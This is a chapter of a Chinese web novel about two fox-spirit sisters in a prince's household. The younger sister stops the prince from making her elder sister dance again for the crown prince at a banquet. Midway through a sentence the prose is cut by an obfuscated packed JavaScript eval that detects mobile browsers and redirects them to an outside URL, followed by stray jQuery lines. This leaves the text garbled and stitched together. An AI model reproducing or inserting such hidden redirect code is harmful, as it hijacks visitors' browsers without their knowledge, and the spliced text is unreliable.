“爱妃想要什么,我都可以给你。”他的手一下子抓住白花花的,将那水葱般的手从胸口拿出来,细细摩挲着,“还记得初见时,你这双手就十分的美丽,像白玉一般。十年了,我都成老头子了,它还是这么美。”
白花花笑着将自己双手藏进白了了的狐毛里,“王爷真爱说笑,王爷正当壮年,您去京城街上转转,只怕是多少女子的春闺梦中人呢。”
凌山将她搂在怀中,二人十指交扣,白了了便趁机跳下床,往外头跑去了。
不行了!再看这两人推来推去,要长针眼了!
凌山见小狐狸在自己腿上一跃而下,不禁笑问:“爱妃这狐狸倒是通人性,不知是从哪里得来?”
白花花一如往常,懒洋洋靠在男人温暖的胸口上,手指在他胸前打着圈,“是臣妾的妹妹,前几日来瞧臣妾,见臣妾这里冷清,便寻了这小狐狸送来,过几日她便又来了,到时候一定叫王爷见见。”
凌山用鼻子和下巴蹭着她的发丝,“花花的妹妹,定然也是貌美动人,到时本王一定多多送她一些胭脂水粉、绫罗绸缎、金银首饰。”
白花花跨坐在他身上,双手环着他的腰,“王爷,那我呢?王爷给臣妾准备了什么?”
凌山双眼微微眯着,“给爱妃找了东海的夜明珠,正叫人送来了呢,还有蜀锦,到时候叫人制成鞋面,爱妃穿上,一定大出风头。”
白花花闻言,高兴得捧着他的脸,在他额头山亲了一口,“我就知道阿山对我最好了。”
凌山的笑容却忽然收了收,轻轻捏着白花花的手,“花花,过几日,东安王兄要到府里来,本王打算大摆筵席,但是你知道的,他最喜欢看人跳舞了。”
白花花还沉浸在方才的愉悦中,搂着他,“阿山你放心,我定然好好看着那些舞娘排练。”
凌山握着她的手松了松,低头看着她,“花花,我的意思是,府中只你能一舞动京城。”
白花花当场愣住,几乎强咬牙关,才发出声音来,“可是……阿山……你说过,希望我,一生一世只跳舞给你看。”
凌山赶忙去握她的双手,“我知道的,我知道的,花花,你的心里只有我,我的心里也只有你,可东安王兄把持着粮道,若我不跟着他干,那咱们府里这个花销,还能支撑几日呢?你要的夜明珠,只怕也很快没有了。”
白花花低下头。
她也有些说不清自己的感受了。
她伸手推开眼前人,唤了婢女进来替她梳洗。
凌山也没有离开,他在等白花花点头。
小丫鬟替她穿上那件绣满桃花的外袍,大丫鬟替她抱来跑到外面的白了了。
她伸手接过白了了,轻扫几下狐毛,才轻启樱唇。
“王爷只管放心,妾身一定不给您丢人。”
凌山这才松了一口气,站起身来,在她脸颊上亲了一口,轻声嘱咐她好好准备,而后才脚步轻快地出去了。
筵席在十日后。
白花花这几日有些愁眉不展,连带着白了了也有些没胃口,轻减了几分。
白了了决定,一定要在筵席上补回来!
这场筵席倒是办得体面。
来的不只是东安郡王,还有太子。
爱看人作舞的也并不是东安郡王,而是太子。听闻旧时皇帝有位洛妃,擅长做梅花舞,这位太子惊鸿一瞥,见之难忘,这些年一直苦寻,只盼再得一见。
然而白花花并不会什么梅花舞,只怕此番凌山和这位太子都要失望了。
白了了却不知道什么梅花桃花的,盯着面前的席面已经两眼放光,端起面前的酒杯便是仰头一饮。
真甜!好喝!比山上的露水好喝!
太子和东安郡王的目光被这位不谙世事、只顾开怀大吃的姑娘吸引着。
白了了并不比白花花花容月貌,一双眼睛盯着食物,都不带抬起来。
白花花尚在屏风后候场,凌山有些尴尬,只得轻咳两声,“这位是白妃的妹妹,本王的姨妹,没见过大场面,叫各位见笑了。”
东安郡王始终噙着浅浅的笑,举杯以示无妨。
太子却颇有兴致,举着酒杯也痛快喝起来,“前日里,许将军家的小儿子寻回来了,他同门师妹也是女中豪杰,孤瞧着,白妃之妹,亦是直爽赤诚,哪是我等俗人能比的,又何来笑呢?”
诸人听他提起许将军家事,也三言两语地谈论起来。
待白花花身着舞服上前来时,众人已经酒过三巡。
白花花身段娇美,面庞秀丽,引得众人都移不开眼睛,也不饮酒搭话了,全都齐齐静默着、观赏着。
她穿得是初见时那身红色衣衫,腰间别的是洞房花烛夜,凌山送她的铃铛。
身后许多乐师奏着高山流水,她的银铃随着乐曲发出响声,舞步应声而动。
若早几百年,那位站在洛水边吟诗的才子便会到此处,对着她深情说道:“翩若惊鸿,宛若游龙。荣耀秋菊,华茂春松。髣髴兮若轻云之蔽月,飘飖兮若流风之回雪。”
或许那才子还会说几句什么她不若你的恭维话。
白花花舞姿动人,太子早在那才子处颇有所得,站起身将这一段细细颂来。
一舞毕,太子亦是第一个叫好的。
白花花并不如何受用,只是淡淡一笑,颔首感谢。
凌山却像是抓住了什么机遇,见他兴致大好,赶忙端着酒杯到太子身边去,“太子殿下既然喜欢,不若叫白妃再舞一曲?”
随即场上鸦雀无声。
谁都知道这是何意。
太子虽心爱这舞步,却也敬重这起舞之人,不肯叫她失了颜面,因而也不再出声。
东安郡王生着一颗七窍玲珑心,自然也不肯趟这趟浑水,只自顾自饮酒起来。
倒是受邀而来的李家小姐笑道:“听闻王爷十分宠爱白妃,至今未娶正妃,今日我等都是沾了太子殿下的光,才能一观这动人舞姿,若是我等还不知餍足,叫白妃受了累,那可真真是暴殄天物了。”
白花花闻声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371874|199949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望向那位不曾谋面的座上宾,见她面带微笑地朝自己点了点头,于是也报以微笑。
凌山却似听不出话中意,也或是铁了心要讨太子开心,端着酒杯走到白花花身边,“爱妃擅舞,如今这一会儿如何就累得?陪本王饮了这一杯,再舞一曲,可好?”
白了了本埋身菜肴果子之中,连姐姐起舞也不曾抬头。
如今周遭人都不说话了,连空气都感觉冷了几分,又听那位面容清丽的女子说了一番话,才发觉不对。
现下擦干净面庞,见姐夫仍旧不依不饶,不免怒从中来。
也顾不得姐姐先前的交代,更管不了身后大丫鬟的阻拦,站起身来,“姐夫,我姐姐不想跳。”
白花花几乎是瞪大眼睛看向妹妹。
其实是所有人都循声看向白了了。
太子的眉毛挑了挑,想说几句话打个圆场,却见东安郡王打开扇子,挡着脸,低声说道:“逍遥王兄府里这么大一出戏,太子殿下不想好好瞧一瞧吗?”
太子亦以为然,故而按兵不动。
凌山的面子有些挂不住,但还是带着一副笑脸,“姨妹莫急,花花向来喜欢起舞,如今太子殿下好舞,乃是伯牙子期之美事,姨妹自当成全才是。”
白花花有些茫然,因他这番话说得文绉绉的,她其实听不太懂,也不知该如何作答。
但既然站起来了,既然姐姐不想跳,就不该让姐姐继续跳!
“王爷!姐姐再喜欢跳舞,又不认识那什么牙什么七的,他们的美事与姐姐有什么关系!为了给你跳舞,姐姐这些日子都已经很不开心,为什么你还要姐姐继续不开心?你是真爱姐姐吗?”
她一番话说得直白稚嫩。
在场王公贵族,哪一个将情爱放在心上?闻言自然是惊诧不已,一双双眼睛都瞪得大大的。
那李小姐本欲开口回护,如今也不大好说话了,于是只得轻咳两声示意。
白了了没注意她的动静,只直直望着凌山对峙着。
但见凌山朝着大丫鬟扬了扬头,“听闻姨妹半月前病了,在庄子上养了好几日,才回来,便又犯病了,还是快快去歇着吧。”
白花花的大丫鬟没有动,只是几个小丫鬟上来拉扯白了了。
凌山伸手去握白花花的手腕,低声温柔道:“花花,再跳一曲,就一曲,可好?”
白花花望着妹妹,又转头看看满目柔情的凌山,踟蹰着,没有出声。
正这时,白了了几乎是使尽全身力气甩开那几个丫鬟,伸手捞起桌上一只琉璃杯,狠狠摔在白花花面前,又跳过桌子,走到白花花身旁。
“王爷,地上都是碎片,你若想姐姐来日还能跳舞,今日便作罢吧。”白了了小心翼翼看向白花花。
白花花面色铁青,扫了一眼地上的碎片,用一只手拨开凌山的手,冷冷道:“王爷,妾身身体不适,今日不能再舞了,先告退了。”
她拉着白了了的手穿过人群,消失在台阶下。
“了了,谢谢你。”